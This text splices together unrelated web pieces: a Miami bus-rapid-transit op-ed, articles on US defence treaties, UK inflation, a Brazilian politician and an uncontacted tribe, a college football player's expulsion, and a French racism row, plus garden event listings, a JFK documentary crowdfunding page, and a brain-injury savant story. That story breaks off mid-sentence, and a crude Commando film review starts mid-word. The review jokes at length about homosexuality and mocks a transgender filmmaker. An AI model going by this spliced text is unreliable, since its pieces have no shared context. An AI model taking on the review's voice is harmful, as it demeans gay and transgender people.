The first piece of the SMART plan that was to be built is the South Dade extension, from Dadeland Station South to Florida City. This leg in the originally proposed Light Rail was estimated to cost $1.8 billion. Estimates for the same route using Bus Rapid Transit (BRT) are about 1/3 the price. For many of us, buses sound like inefficient, slow, unreliable services, and around most of Miami, that is true. However, if Miami follows a true BRT system, we can get a lot more out of our tax dollars, and relieve traffic on a city-wide level, at the same time.
Perhaps Gimenez never should have promised something he did not understand the cost of, but we are going to put the political maneuvers aside for now. Today, he is being a responsible Mayor and allocating resources based on data, and working programs seen in other cities. The truth is that the densities in South Dade, Kendall, and the North Corridor do not meet the standards for mass transit use. Most areas adjacent to US1 in South Dade are less than 10,000 persons per sqmi. For rapid transit to be productive, you need at least 20,000 persons per sqmi. Spending billions of dollars on those 3 corridors may not make sense now, or in the near future, but spending a fraction of the cost on a BRT system does.
A true Bus Rapid Transit (BRT) must follow a number of criteria including raised platform boarding to eliminate slow downs, prepaid tickets at the station, and dedicated lanes with the ability to alter traffic signals to gain priority. It also can be built much more quickly, and demand for route changes can be more easily accommodated.
Gimenez also makes the point that choosing to use light rail or other rail technology may stifle us in the future from adopting more efficient future technologies, such as self-driving buses or destination direct transit. While may be a political line, it is a valid point that massive infrastructural payments do hold cities to particular contractors, products, and maintenance regiments that become costly. A BRT system is by design, piecemeal, and can be retrofitted more easily.
Cleveland HealthLine Rapid Bus System Typical Miami-Dade Bus
There are examples all over the US of successful BRT programs in car-based cities like Miami, such as Cleveland, Los Angeles, and Denver. These can act as models for Miami’s system and future growth. I am not saying that the SMART plan is a bad plan, in fact the opposite. It correctly identifies corridors that are both possible and popular for these initiatives, and it takes into account density, future development, and existing public transit use. However, the mediums for these lines must be tailored to each’s environment, density, and use estimates. This is what good governing looks like. It’s not sexy or inspirational, but it is making the city an inch better at a time and doing it pragmatically and efficiently.
A Bus Rapid Transit system is cheaper, more flexible, and can be implemented faster than a traditional light rail system. It also makes sense for suburban corridors that do not yet meet the density of where trains are useful. With these criteria in mind, ask yourself if you think that light rail is worth 3x as much money? Ask yourself if this were your business would you make the same decision? Finally, ask yourself if having light rail in lower-density zones is worth delaying or losing future projects that will benefit from the saved funding? For me, the answer is no. Let me know what you think in the comments!
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Sources:
https://green.blogs.nytimes.com/2009/03/12/fast-buses-vs-light-rail-you-decide/?_r=0
http://www.miamiherald.com/news/local/community/miami-dade/article161876893.html
http://www.miamiherald.com/news/local/community/miami-dade/article161678128.html
http://www.thetransportpolitic.com/2011/05/25/the-silly-argument-over-brt-and-rail/
http://www.houstontomorrow.org/livability/story/finding-the-density-sweet-spot-for-transit/
https://thenewtropic.com/why-no-one-wants-bus-rapid-transit/?utm_source=The+New+Tropic&utm_campaign=6238fd6f38-EMAIL_CAMPAIGN_2017_07_19&utm_medium=email&utm_term=0_df023babb0-6238fd6f38-166621273&mc_cid=6238fd6f38&mc_eid=fcc6f120fdAm I my brother’s keeper? If you’re the United States, the answer is yes, and you have a big family.
The United States is obligated by treaty or otherwise to come to the defense of 67 other countries if they’re attacked, according to The Myth of Entangling Alliances (pdf) by Michael Beckley. Those obligations include obvious ones such as to Israel, with which the U.S. has no formal treaty, but has made many pledges of support. But it also includes Cuba, which only last week came off the list of state sponsors of terrorism. As a member of the Organization of American States, Cuba is a potential beneficiary of U.S. military support if it’s attacked.
Not that having a treaty necessarily means the United States will spring into action if a signatory nation is attacked. There is a defense treaty with Pakistan, for instance, which has gone to war with India several times. In none of those incidents have U.S. troops been sent in. Nor did Americans come to the aid of the French when they asked for help during the 1954 battle of Dien Bien Phu in Vietnam.
The idea that the United States is the world’s older brother, ready to take care of any bullies that show up on a street corner, is relatively recent. For the first 165 years of its existence, the United States had one such treaty, signed with France during the Revolutionary War, according to Beckley. After World War II though, organizations such as the North Atlantic Treaty Organization (NATO) formed in the early days of the Cold War obligated the U.S. to jump in if a member nation were to be attacked. The State Department, by the way, counts only 55 nations that Americans are obligated to defend.
Beckley concludes that it isn’t alliances that cause the United States to go to war, but the intentions of its leaders. “The empirical record shows that the risk of entanglement is real but manageable and that, for better or worse, U.S. security policy lies firmly in the hands of U.S. leaders and is shaped primarily by those leaders’ perceptions of the nation’s core interests,” he wrote. “When the United States has overreached militarily, the main cause has not been entangling alliances but rather what Richard Betts calls ‘self-entrapment’—the tendency of U.S. leaders to define national interests expansively, to exaggerate the magnitude of foreign threats, and to underestimate the costs of military intervention.”
-Steve Straehley
To Learn More:
The U.S. Is Bound by Treaties to Defend a Quarter of Humanity (by Adam Taylor, Washington Post)
The Myth of Entangling Alliances (pdf) (by Michael Beckley, International Security)
U.S. Collective Defense Arrangements (Department of State)The 1.2% rate in November was driven by higher petrol and clothing prices, with leather sofas, bleach, pizza and computers also contrubuting, says ONS
UK inflation climbed to 1.2% in November, the highest level in more than two years, in a sign that the fall in the value of the pound since the Brexit vote is fuelling a rise in the cost of living.
The rise in the consumer prices index, from 0.9% in October, was largely driven by higher petrol and clothing prices according to the Office for National Statistics.
November’s rate was the highest since October 2014, and slightly above the 1.1% forecast by City economists.
UK petrol prices set to rise after Opec deal Read more
Frances O’Grady, the TUC general secretary, said rising inflation posed a threat to living standards in the UK.
“Working people are facing over a decade of lost wage growth, with rising prices hitting their pay packets again. The government needs to act fast to avoid another living standards crisis. That means a clear plan for Brexit that will protect jobs, pay and rights.”
UK inflation rate UK inflation rate
Economists said the rise in the headline inflation rate suggested a weaker pound was pushing up consumer prices by making imports more expensive.
Alan Clarke, economist at Scotiabank, said: “There was a scattering of monthly increases for exchange rate sensitive components that were higher than the seasonal norm. This to me represents the early signs of the pound’s depreciation feeding into the inflation data. There is plenty more where that came from.”
Economists, including those at the Bank of England, have warned that inflation is likely to rise sharply in 2017, to about 3%, putting increased pressure on household finances.
Richard Lim, chief executive at the consultancy Retail Economics, said shops faced a choice between passing rising costs on to consumers, taking a hit on margins, or passing them on elsewhere in the supply chain.
“Most retailers will use a combination of all three to distribute the impact of rising input costs but households will have to share some of the pain,” he said. “How much pain and how quickly it feeds through will be critical in determining the strength of spending next year.”
Higher inflation in 2017 is expected to coincide with a period of poor wage growth, rising unemployment and weaker economic growth all adding to the pressure on household finances.
Higher prices for winter coats were largely behind a 1.6% increase in the cost of clothing between October and November. Petrol prices increased by 1.6p a litre between October and November this year, but fell by 1.5p a litre a year ago.
Other items contributing to higher inflation in November were leather sofas, bleach, pizza, computers and printers. Some manufacturers of IT equipment said the weaker pound was pushing up prices because products were usually priced in dollars.
ONS figures also showed the prices paid by manufacturers for materials and energy continued to rise at a brisk pace on a year ago. They were up 12.9% from November 2015, the biggest rise for five years.
They appeared to pass some of that on to clients, with output prices up 2.3% in November on a year ago, the biggest rise since April 2012.
The ONS said recent moves in the pound had fed through into firms’ costs and charges made to their customers and “to a lesser extent” into some components of the consumer prices index that tend to be imported, such as fuel. Statisticians also said the drop in the pound had amplified the effect on inflation from a rise in global oil prices.
Mike Cherry, national chairman at the Federation of Small Businesses, said higher costs were hitting companies. “Our members have so far managed to absorb the increased costs resulting from inflationary pressures but the effects are now beginning to bite. Many small businesses rely on road travel to transport goods, receive supplies and for their staff to get to work so the rising cost of petrol is a major concern.”
Responding to the inflation data, the Treasury said: “The economy remains fundamentally strong with taxes cut for millions of working people and the employment rate at a record high. The autumn statement set out support for an economy that works for everyone, as we adjust to our new relationship with the EU.”Revealed: Brazil's most corrupt politician targets uncontacted tribe
February 18, 2016
José Riva, a former state deputy, has been labelled the most corrupt politician in Brazil. © Local media
Survival International can reveal that a rancher targeting the land of an uncontacted tribe in the Amazon is a former state deputy labelled “the most corrupt politician in Brazil.”
José Riva, who has formerly been a deputy in Mato Grosso state, is in prison and currently being investigated for over 100 instances of alleged fraud, corruption, formation of criminal gangs, and other crimes.
Mr. Riva owns a ranch on the land of the uncontacted Kawahiva tribe, one of the most vulnerable peoples on the planet. He has repeatedly claimed that the tribe does not exist, despite video and photographic evidence proving they do, and has lobbied for the right to open up swathes of tribal land for cattle ranching and plantations.
He is a prominent advocate of PEC 215, a proposal to change Brazil’s constitution which, if implemented, could strip Brazilian tribes of their hard-won land rights.
Speaking about the Kawahiva territory, Mr. Riva said simply: “There are no Indians in the area… People are trying to push the theory that there are uncontacted Indians in the Rio Pardo… I’ve reported this fraud.”
A Brazilian government team took unique footage of the Kawahiva during a chance encounter in the Amazon in 2011, proving their existence © FUNAI
He and other powerful politicians with vested interests in the region are opposed to the mapping and protection of indigenous territory, instead pushing for mining and ranching activities that are deadly for the Kawahiva.
Survival International, the global movement for tribal peoples’ rights, is urging the Brazilian government to map out and protect the Kawahiva’s land to put a stop to their genocide. All uncontacted tribal peoples face catastrophe unless their land is protected. Whole populations are being wiped out by violence from outsiders who steal their land and resources, and by diseases like flu and measles to which they have no resistance.
Survival Director Stephen Corry said: “For decades, powerful and corrupt politicians and ranchers have denied the existence of uncontacted tribes in the name of profit. They don’t care that their rapaciousness is leading to the annihilation of entire peoples. The longer Brazil allows people like Riva to plunder the land and resources of the Kawahiva, the greater the risk this tiny tribe will be wiped out forever. Brazil can easily stop this happening simply by protecting their land.”CLOSE A look at Michigan State football's off-the-field legal trouble since last fall. Wochit
Former Michigan State wide receiver has been banned from campus or using university facilities until Dec. 31, 2018
Michigan State wide receiver Keith Mumphery catches a touchdown pass against Baylor on Jan. 1, 2015. (Photo: Richard W. Rodriguez TNS)
EAST LANSING — Former Michigan State football player Keith Mumphery was expelled last year from his graduate studies program and banned from campus for violating the university's relationship violence and sexual misconduct policy, according to MSU Police documents obtained by the Free Press via the Freedom of Information Act.
The March 2015 incident involving the current Houston Texans wide receiver is the third case of alleged sexual misconduct among current and former MSU football players in the past three years. Only one of them — an April incident involving Auston Robertson — has led to charges, while another case remains ongoing.
Mumphery was accused of sexually assaulting a student in her MSU dorm room on March 17, 2015. The woman reported it to MSU Police that night shortly after the incident. According to the campus police report, the two met a few months before the incident on an online dating site, agreeing to meet at her dorm room weeks later. The report details conflicting accounts of who was the aggressor and whether elements of their sexual behavior were consensual.
Mumphery had completed his MSU playing career at the time of the incident and worked out the next day for NFL representatives during the Spartans' pro day at the Duffy Daugherty Football Building. Houston selected Mumphery in the fifth round of the 2015 NFL draft on May 2 that year.
MSU Police forwarded the case to the Ingham County Prosecutor's Office and requested third-degree criminal sexual conduct charges in late March that year. On Aug. 24, 2015, the Ingham County Prosecutor's Office under then-prosecutor Stuart Dunnings III — in a decision by assistant prosecutor Steve Kwasnik, according to the police report — declined to press charges because the case could not be proven beyond a reasonable doubt and the accuser did not return contact.
More on MSU:
Multiple attempts to reach Mumphery for comment were unsuccessful. Mumphery's agent, Kennard McGuire of McGuire Sports World agency, declined to comment. A spokesperson for the Texans said the team is "gathering information" and has no further comment at this time.
MSU cites the Family Educational Rights and Privacy Act (FERPA) for why it will not comment on any expulsion or Title IX investigation.
The situation with Mumphery is an example of how the punishment can differ from the criminal court — which requires an ability to find guilt beyond a reasonable doubt — to the university's judicial system and Title IX requirements. Criminal cases, whether charges are brought or not, have no bearing on a Title IX probe.
Mumphery’s case continued through the university’s Title IX process and punishment phase by the student conduct system. According to the police report, Denise Maybank, the vice president of MSU’s Division of Student Affairs and Services, e-mailed Mumphery a letter on June 7, 2016, that he violated the university’s policy on relationship violence and sexual misconduct. He was informed he could no longer re-enroll at MSU “in any capacity.” Mumphery also has been banned from campus or using university facilities until Dec. 31, 2018. If he violates that order, he can be arrested.
Mumphery has not received his master's degree, according to MSU.
Federal government Title IX compliance requires all universities to investigate all sexual violence and harassment allegations. They are held to a preponderance of evidence standard typically applied in civil lawsuits, meaning "based on evidence and witness testimony presented, that there is a greater than 50% likelihood that the defendant caused the damage or other wrong," according to legaldictionary.net.
Mumphery received his bachelor's degree in communication in May 2014 and was pursuing his master's degree in the same program. He said he had planned to r-eenroll in graduate classes in January 2016, according to the police report.
The MSU Police report said it cannot be confirmed that Mumphery actually received the letter of policy violation nor has he been served in person. The police investigation was closed June 23, 2016.
Mumphery played for the Spartans in 2010-14 and caught the final touchdown in their win over Baylor in the Cotton Bowl Classic on Jan. 1, 2015, his last game at MSU. He has played two seasons with the Texans.
When a student is found to have violated MSU's relationship violence and sexual misconduct policy, a three-member Sanction Panel reviews the Title IX findings and potential written statements from both the alleged victim and the accused players. After that meeting, the Sanction Panel determines its punishment. Both the victim and the players can file appeals.
In a separate case involving an alleged Jan. 16 sexual assault, three MSU football players were suspended from the program. They have been found in violation of the sexual violence and misconduct policy and are awaiting the Sanction Panel's determination of punishment. One player's attorney told the Free Press her client plans to appeal whatever decision is rendered.
Contact Chris Solari: csolari@freepress.com. Follow him on Twitter @chrissolari.
Download our Spartans Xtra app for free on Apple and Android devices.France's far-right National Front (FN) is set to take legal action against the country's most prominent black politician over disparaging comments she made in response to being compared to a monkey.
The row began last week when a prospective FN candidate for municipal elections next year said on television that she would prefer to see Justice Minister Christiane Taubira "in a tree swinging from the branches rather than in government."
The party immediately dropped the candidate, but Taubira, who is from French Guiana, on Saturday responded with a fierce salvo against the "deadly and murderous thought" of the FN.
"It's blacks in tree branches, Arabs in the sea, homosexuals in the Seine, Jews in the oven and so on," she said.
The FN, an anti-immigration, eurosceptic party, in turn responded by saying it would sue Taubira for defamation, to "uphold the rules of democratic and republican debate and the honour of millions of French who vote for the party."
In a statement, it also asked whether Taubira could stay on as minister.
The CRAN – a French umbrella group of associations that fight discrimination against black people – reacted to the row on Monday by saying "the world has turned upside down."
"Christiane Taubira is insulted by an FN candidate, and in the end it's the minister who is taken to court by the National Front," Louis-Georges Tin, head of the organisation, said in a statement.
In its statement, the CRAN organisation also denounced what it said was a drift to the right of French politics.
"The (rightwing opposition) UMP imitates the FN, and the Socialist party imitates the UMP. We are now reaping the fruit and the poison of this slow and terrifying drift - brazen racism," it said.
France 2 television last Thursday revealed a photo montage Leclere had posted on her Facebook page, showing a baby monkey, with a caption underneath reading “At 18 months”, alongside Taubira, with the caption “Now.”
Leclere published the image on her Facebook page on August 31st, but has since deleted it on the advice of friends, according to France 2.
During a documentary entitled “The new faces of the National Front?”, Leclere was confronted with the image, but defended publishing it, repeatedly insisting Taubira was “une sauvage”, which can translate as "wild animal" or "savage". “Honestly, she’s a wild animal, coming on TV with that devil’s smile,” said Leclere. “I’d prefer to see her swinging from a tree than in government,” she added, denying that she or the photo were racist, claiming “I have friends who are black.” 'We are not of the extreme right'
The scandal comes at a time when efforts by National Front leader Marine Le Pen to clean up the image of the party appeared to have been yielding results, following their shock by-election victory in Brignoles two weeks ago.
The party, once universally-regarded as anti-Semitic, racist and xenophobic, has undergone a project of "dédiabolisation" ("un-demonising") since Le Pen took over as leader from her father Jean-Marie in 2011.
Indeed, Le Pen recently went so far as to deny the party was "of the extreme right," and threatened legal action against journalists who labelled them as such. The plausibility of Le Pen's claim, however, will take a hit from today's racism debacle.
"This is completely scandalous," Aline Le Bail-Kremer from anti-racism group SOS Racisme told The Local last Friday.
"Marine Le Pen has been giving us all a good lecture on how her party isn't extremist, or racist, or anti-Semitic or homophobic. But once again, we see this from their members," she added.
Last month another National Front election candidate was suspended after posting a picture of a burning Israeli flag on his Facebook profile.
Here's a short video of Leclere being confronted with the image by a France 2 journalist. The exchange is in French, but the then National Front candidate can be seen enthusiastically admitting she posted it, before launching into something of a tirade, calling Taubira a "wild animal", and condemning her "devil's smile."
Don't miss a story about France - Join us on Facebook and TwitterUpcoming Events Second Saturday at the Garden 2019
Located at 955 Kamehameha Highway, Pearl City HI directly behind the Pearl City Home Depot with our entrance by the Public Storage.
Join UH Master Gardeners on Oahu and UGC Ohana Volunteers at the Pearl City Urban Garden Center for Second Saturday at the Garden! Garden demonstrations, UH Master Gardener Got a Plant Question booth, UH Seed sales, volunteer plant sales** (dates TBD) and self-tours of the garden available at every event.
**Please note that Plant Sales will be every other month in 2019.
Visit www.ctahr.hawaii.edu/UHMG to learn more about resources for Home Gardeners!
Visit the UH Master Gardener FAQs link or search for a plant in Tropical Topics. Mahalo! Capital Improvement construction in progress on our office buildings. Please use caution when visiting. Gardens and restrooms are open.
February 9, 2019 8:30 am - 11:30 am Annual Plant Sale, Honolulu Rose Society potted-Rose sale, and CTAHR Agriculture Awareness Day for the public!
Call 453-6055 or 453-6050 for more details and updates
The very popular annual plant sale at the Urban Garden Center (UGC) featuring plants grown and cared for by UGC volunteers. Expect great quality at great prices! As a bonus, the Honolulu Rose Society annual potted-rose sale includes exclusive rose varieties known to grow well in warm climates, handpicked by the knowledgeable Honolulu Rose Society Rosarians.
Rain Barrel Workshop: The sign up is at https://www.signupgenius.com/go/20f0a4dafac2da5fd0-contain7 Presented by the City and County of Honolulu.
March 9, 2019 8:30 am - 11:30 am The Art & Principles of Grafting (workshop 9:00-10:30)
Focused on the art of grafting, including hands-on practice and theory. Learn why and how to graft fruit trees and ornamental plants. Presentation followed by a demonstration, question & answer period, and a hands on session for the participants. Hands-on session involves plant stems mounted on a wooden stand as the root stock and attendees will be instructed how to graft upon that using another stem as the scion.
Workshop starts at 9:00 am. Call to register 453-6050, $10 at doorAmazing--we made it! Thank you to everyone who has contributed, shared, and supported us over the last three weeks. We've had some extremely generous backers over the last few days. The excitement seems to be building for this film.
We now have a stretch goal: $30,000
The total budget of the film is estimated at over $100K. $25K was the bottom line amount we needed to raise to edit a festival-ready cut of the film. Kickstarter fees, fiscal sponsor fees, and rewards will account for about 20% of that $25K.
There will be many more costs, including archival footage rights, music, sound mixing, and color correction. Additionally, there are a few more shoots that could add some great to new material to the film: visiting DC for the JFK records release in October, following up on leads in Dallas, and examining Ruth Paine's papers, which are housed in a special collection at Swarthmore College.
Please continue to spread the word. Thank you!
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This project is fiscally sponsored by The Film Collaborative. Donations (minus processing fees) are tax-deductible. Your credit card will not be charged unless the project reaches its goal.
Who are the Paines?
In 1963, Ruth & Michael Paine were friends and benefactors of Marina & Lee Harvey Oswald. Marina lived in Ruth Paine's home and Lee visited on weekends and spent the night before the assassination there. Much of the evidence against Oswald was found in the Paine's garage and Ruth became a key witness against him. On the surface, the Paines appear to be just another middle-class couple living in suburban Dallas. But researchers quickly began to uncover some curious facts about them and their role in the assassination case. For instance, both of the Paines come from prominent families with links to the CIA.
The Paines are a sort of crucible for the JFK assassination--those who see a conspiracy generally believe that the Paines must be in on it. And those who believe Oswald acted alone see them as two of the most innocent people you could imagine. Their story offers an illuminating lens through which to explore this history and the conflicting perspectives around it.
How the Project Began
From the Director:
I've been a student of assassination history and a documentary filmmaker for over ten years. When I found out that Ruth and Michael Paine lived just 50 miles north of me, I knew I had to try to make this film. I was unsure whether Ruth would even agree to be interviewed, but after two years of filming, I have all the footage necessary to create one of the most intriguing JFK films yet.
Beyond the Choir
If you have been waiting for a serious documentary that takes the JFK assassination story beyond the niche of marginalized conspiracy films, then this project is for you. The story of the Paines is dramatic, mysterious, and still evolving. They are undeniably compelling characters, even for viewers who might normally dismiss this topic. Whether you see the Paines as falsely accused or thoroughly guilty, it is still a great story.
The Assassination & Mrs. Paine will treat this controversial history with the aesthetic and philosophical care it deserves, while never losing sight of the truth and why this story matters. With a savvy and dramatic film, we will also inspire the curiosity of younger viewers in the assassination and Cold War history.
The famous Mannlicher-Carcano was allegedly stored in Ruth Paine's garage.
As a supporter of our project, you will be part of bringing this important story out to a broad audience in a subtly-crafted, highly-watchable, and hard-to-dismiss film.
Your Support is Crucial
Up to this point, the project has been funded out-of-pocket and with two small grants. The controversial nature of this film makes it a tough sell with traditional funders, so your support can make all the difference. $25,000 is the bare minimum we need to hire an editor and create a festival-ready cut of the film. Editing takes months of full-time work and we need your support to do it right. If we can exceed our goal, additional funds will go directly towards archival footage, additional interviews, music, sound mixing, and color correction. The total budget of the film is estimated at well over $100,000.
Rewards
We have some great rewards, including two book packs featuring some of the director's favorite assassination books. The Asssociate Producer and Executive Producer rewards will give you prominent credit in the film and IMDb, plus an invitation to provide feedback on a rough cut of the film.
Join the Ongoing Investigation!
Research into the Paines continues to this day. Our film has already generated new leads and witnesses. Donate $50 or more and you will receive a digital dossier so you can become part of our research team! Donate $200 or more and you'll receive digital transcripts of the full interviews shot for the film, along with a Blu-Ray disc.
Interviews
We've interviewed great characters on both sides of the conspiracy debate, including: Ruth & Michael Paine, Vince Salandria, Gary Aguilar, Max Holland, Jim DiEugenio, Priscilla Johnson McMillan, Sue Wheaton, Bill Simpich, E. Martin Schotz, and others.
Producer/Director Max Good
Max's first feature documentary, Vigilante Vigilante: The Battle for Expression (2011) played in theaters across the country and on Netflix. His short documentaries have played at the Sheffield Doc/Fest, Big Sky, SF Docfest and many other festivals. Max's films are intellectually provocative and often explore conflicting perspectives. He aims to challenge comfort and complacency, as well as to entertain. He holds an MFA in documentary film from Stanford University and a BA in communications from the University of Pennsylvania.
Whether you can contribute monetarily or not, spreading the word by sharing this campaign will be critical to helping us reach our goal.
You can visit us online at JFKPaine.com and you can see the trailer (minus Kickstarter pitch) here on Vimeo.
And please follow us on Facebook, Twitter, and Instagram!
Thank you!In June I went to New York when my film was playing a festival in Brooklyn. While I was there, I hand picked four filmmakers to sit down with me to talk about the craft. FILMMAKER PASS was born out of these conversations.
During the course of my 11 days in New York I was able to have some spirited, entertaining and relevant conversations with 4 working directors about the state of the industry, personal philosophies and pragmatic insights. It was really interesting to see how different minds work, and it just reminds me that there are infinite paths to making films. I learned something from each and every one of these directors during the course of our interviews and I hope you do too.
What do you think about the state of things -- the state of cinema? Where are we at as a culture of cinema?
How much time out of your day do you spending worrying about money and how you're going to make a living as a filmmaker?
I'm looking to do more interviews in this and other formats for this series, so any feedback you have is appreciated. What topics would you like to see covered? What festivals should we visit? How do you feel about the issues these filmmakers brought up? Let us know in the comments and stay tuned for future installments of FILMMAKER PASS.NEW DELHI: Scientists have made some progress in figuring out how a man who received severe brain injuries suddenly became a mathematical genius. They say that an area behind the crown of the head, known as the parietal cortex, appears to have become more active, according to a report in Live Science. This region is known to combine information from different senses.Jason Padgett was an ordinary furniture salesman in Tacoma, Washington, US. In 2002, he was assaulted by two men outside a karaoke bar resulting in severe concussion and an injured kidney. As Padgett recovered, he suffered from post-traumatic stress disorder, a psychological condition usually seen in war veterans.As he progressed, Padgett realized that he was seeing the world differently – everything looked like it was made up of geometrical shapes. He saw a circle as made up of overlapping triangles. He could draw complex geometric shapes. He saw shapes when shown mathematical equations, a condition known as synesthesia where two senses get mixed up – you see a particular color when you sense a particular smell, and so on.One day a physicist saw him making these shapes in a mall and was struck by Padgett’s abilities. He persuaded Padgett to join college, where he is studying number theory. As his abilities and how he acquired them got known, brain scientists got interested in finding out what had happened in his brain.Berit Brogaard, a philosophy professor now at the University of Miami and her colleagues used functional magnetic resonance imaging (fMRI) to study Padgett's brain, according to Live Science. The scans showed that the left parietal cortex lit up the most, while areas involved with visual memory, sensory processing and planning also showed activity, according to Live Science.Using transcranial magnetic stimulation (TMS)the scientists zapped specific areas with a magnetic pulse which either activates or inhibits the area. When the parietal cortex was thus zapped, the synesthesia faded. According to Live Science, Brogaard has earlier shown that when brain cells |
egger look like the worst heterosexual predator since Marv Albert just so that their own people would vote for him. For reals. The first time we see Arnold in Commando, Mr. Olympia is carrying a big chainsaw with a four-foot blade and an even larger log on one shoulder. He’s all sweaty and determined looking, rugged, and accompanied by a steamy steel drum and sax solo! Bear City, USA, man. While flipping through his daughter’s Tiger Beat a few scenes later, he exclaims, “Why don’t they just call him Girl George? It would cut down on the confusion.” Meaning of course that while others might have been confused about Boy George’s sexuality back in 1986, Arnold knew the straight truth. Or lack thereof.
When Arnold’s old commander comes to tell Die Governator that somebody is killing all of his old men, Schwarzenegger sneaks up behind him and puts a hard gun in his back. The commander says, “Silent and smooth — just like always.” Is that what straight men say when another dude sticks ’em with something hard from behind? Didn’t think so. Arnold also of course picks up another man by his balls. And, for God knows what reason, Arnold is in a pair of skimpy speedos for at least four minutes. Just paddling around in a boat. Oh, wait — I know the reason.
But, you can’t talk about the amazing gayness of Commando without mentioning Bennett. In fact, if I ever go back to school, my thesis will detail how the late twentieth/early twenty-first century embracing of homosexuality stems from Vernon Wells’ portrayal of this particular character. After I’m done, West Hollywood will be renamed “Vernon Wells.” Where to even start… Bennett spends nearly the entire movie wearing the following outfit:
Leather pants
A black, sleeveless T-shirt
A chain mail vest
A large belt that turns said chain mail into a little skirt
Fingerless leather gloves
A dog chain choker
A flat top
A push broom moustache
A leather belt that he wore around the chain mail vest, making it seem as if he were wearing a skirt. Yes, I stated this point earlier, but holy fuck does it need repeating!
Basically your standard leather-daddy getup, minus the cop hat. His Australian accent doesn’t help things, either. For no apparent reason, Bennett exclaims, John, I’m not going to shoot you between the eyes. I’m going to shoot you between the balls. Money shoot him between the balls… But what really sent my gaydar off the chart was the following exchange between Arnold and Mr. Wells:
Matrix: You can beat me… You want to put a knife in me. Look me in the eyes. See what’s going on in there while you turn it. That’s what you want to do to me, right? Come on, let the girl go. You and me. Don’t deprive yourself of some pleasure. Come on Bennett; let’s party.
Bennett: “I don’t need the girl — I don’t need the girl!!“
Short of Arnold actually licking Vernon’s ass, you simply could not come up with a gayer scene. Seriously, men fucking is straighter. And of course, you cant spell Commando without man, do or personal lubricant.
Corpse Count:
Commando almost features more murders than it does homosexual innuendos. Almost. 146 people are shot, blown up, stabbed, scalped, dropped off cliffs and mutilated, and fully 138 of those onscreen deaths happen during a four-minute time frame. Four fucking minutes! Without doubt the bloodiest four minutes in the history of film, easily trumping the even finale of the great Death Wish 3. In one particularly noteworthy sequence, Schwarzenegger’s John Matrix character manages to commit five murders using a pitchfork, an axe, a machete and two circular saw blades–all within the span of twenty seconds! He even kills two guys with one bullet.
Maybe even more impressive than the amount of men that he kills is the amount of men that he just beats the living crap out of. Specifically one scene where he not only hits a guy with a phone booth, but then he throws eight grown men flying through the air at the same time! The Wachowskis obviously stole this far superior scene for Neo’s lame-ass fight with 5 dozen Agent Smiths in the Matrix sequel. And we know where they got the name of their film. And we know why the one brother is a cross-dressing transvestite.
How Bad Is It Really?
Bad? Bad? Look, I’ll be the first to admit that it is hard to retain one’s critical faculties while watching THE RADDEST MOVIE EVER MADE!!! But seriously, Commando rules. If the purpose of a film is solely to entertain, then no movie has anything on Commando. Did I mention that at one point Arnold and Alyssa Milano are feeding a deer? And that hes wearing a pink shirt tucked into white shorts? Holy shit, that rules. What is also fantastic about Commando is that for all the ridiculously over-the-top uber-mensch moves Schwarzenegger makes, Rae Dawn Chong is constantly reminding us just how over-the-top and ridiculous all of the macho bullshit is. Here’s what I mean:
Cooke (The Great Bill Duke): Scared, motherfucker? Well, you should be. Cause this Green Beret’s going to kick you ass.
Matrix (Arnold): “I eat Green Berets for breakfast. And right now (punch) I’m (kick) very (slap) hungry.” Cooke gets tossed through a wall.
Cindy (Dawn Chong): “I don’t believe this macho bullshit!”
See, that’s what makes Commando succeed on so many levels. You don’t believe the macho bullshit, either. But you love it. The director tells you exactly what to think, in case the action is too fast and you can’t pay attention to everything that is going on. Like, when Arnold throws Cooke through the wall onto a couple who somehow kept having sex despite the four gunshots in the next room, Rae Dawn observes, “These guys eat too much red meat.” Again, exactly right. Also of note is when the naked couple emerges from underneath the covers, the woman is behind the man. Yeah, buddy!
One-Liner:
Move over Henny Youngman. Take a hike Don Rickles. Here comes Commando! Honestly, everything else aside (yes, even the hot man-on-man action), what I love most about Commando are all the brilliant, transcendent One-Liners.
From, “Don’t disturb my friend. He’s dead-tired” to “I’m air sick,” Commando trumps all other movies ever made–EVER–when it comes to One-Liners. I mean, even when the bad guy asks the eleven-year-old girl, “You’ll be together with him soon. Won’t that be nice?” The eleven-fucking-year-old girl says, “Not as nice as watching him smash your face in.” Even the soon-to-be-fodder for Arnolds mighty gun D grade bad guys get to rip some off, Slitting a little girls throat is like cutting warm butter. However, Commando being Commando, Bennett retorts, Put that knife away and shut your mouth. Remember, in 80s Actions, knives are dicks.
Post-Mortem One-Liner:
Let’s be honest here. With the possible exception of Predator no other movie in history has half as many good sentences to hilariously celebrate the death of a fellow human being.
The greatest Post-Mortem One-Liner of all time is the following: Schwarzenegger has just chased down and run Sully’s (David Patrick Kelly) Porsche off the road with an Austin Healy Sprite. After ramming the Sprite head-on at 80 miles-per-hour into a telephone pole, Arnold checks to see if Rae Dawn is alive and then pulls Sully out of the Porsche, demanding to know where his (Matrix’s) daughter is. Sully tells him to fuck off. Arnold says, “Listen, loyalty is very touching but it’s not the most important thing in your life right now. Gravity is.” Great line, but, well, keep reading.
Arnold then carries Sully over to a cliff and dangles him over the edge by one leg (look for the wire holding Sully up). After some more words are exchanged, Schwarzenegger says to Sully, “Hey Sully, remember when I said I’d kill you last?” Sully then says, “Yeah, you promised you’d kill me last.” To which our governor responds, “I lied.” He then drops Sully off the side of Mulholland Drive. Now, I know what you are thinking. That is technically a “Pre-Mortem” One-Liner. Right, except for the fact that just before Schwarzenegger pushes Sully’s Porsche back onto its wheels, Rae Dawn asks, “What happened to Sully?”
“I had to let him go.”
Holy shit, is that funny/brilliant! It has had me laughing for the past twenty years.
Stupid Political Content:
None really. I mean all the usual romanticized military/vigilante crap is front and center, but it is obviously such homosexual fantasy that any overtures to the right are lost on everyone, save castratos. Sure, he lives isolated and alone with a literal arsenal in his tool shed, but look at that chest! We could begin to discuss how a man could murder over a dozen-dozen people and yet be smiling at the end of it all (sheer fascism), but then, those biceps start calling my name. All bulgy and shit. There is one odd part where Arnold explains to Alyssa Milano, “When I was a boy and Rock and Roll came to East Germany [the] communists said it was subversive… Maybe they were right?” But honestly, I had way too large of a hard-on to make heads or tails of it. OK, fine — tails.
Novelty Death:
At the climax of the “fight” between Bennett and Matrix, Arnold somehow manages to rip a 4-inch diameter pipe off the wall and hurl it through Bennett’s chest. Of course, before Arnold even sees the pipe, Bennett has a sub-machine gun leveled at him. And of course after the pipe goes through Bennett’s chest, Arnold says, “Let off some steam, Bennett.” God, I love this movie!!!
Was There An Atomic Blast At The End?
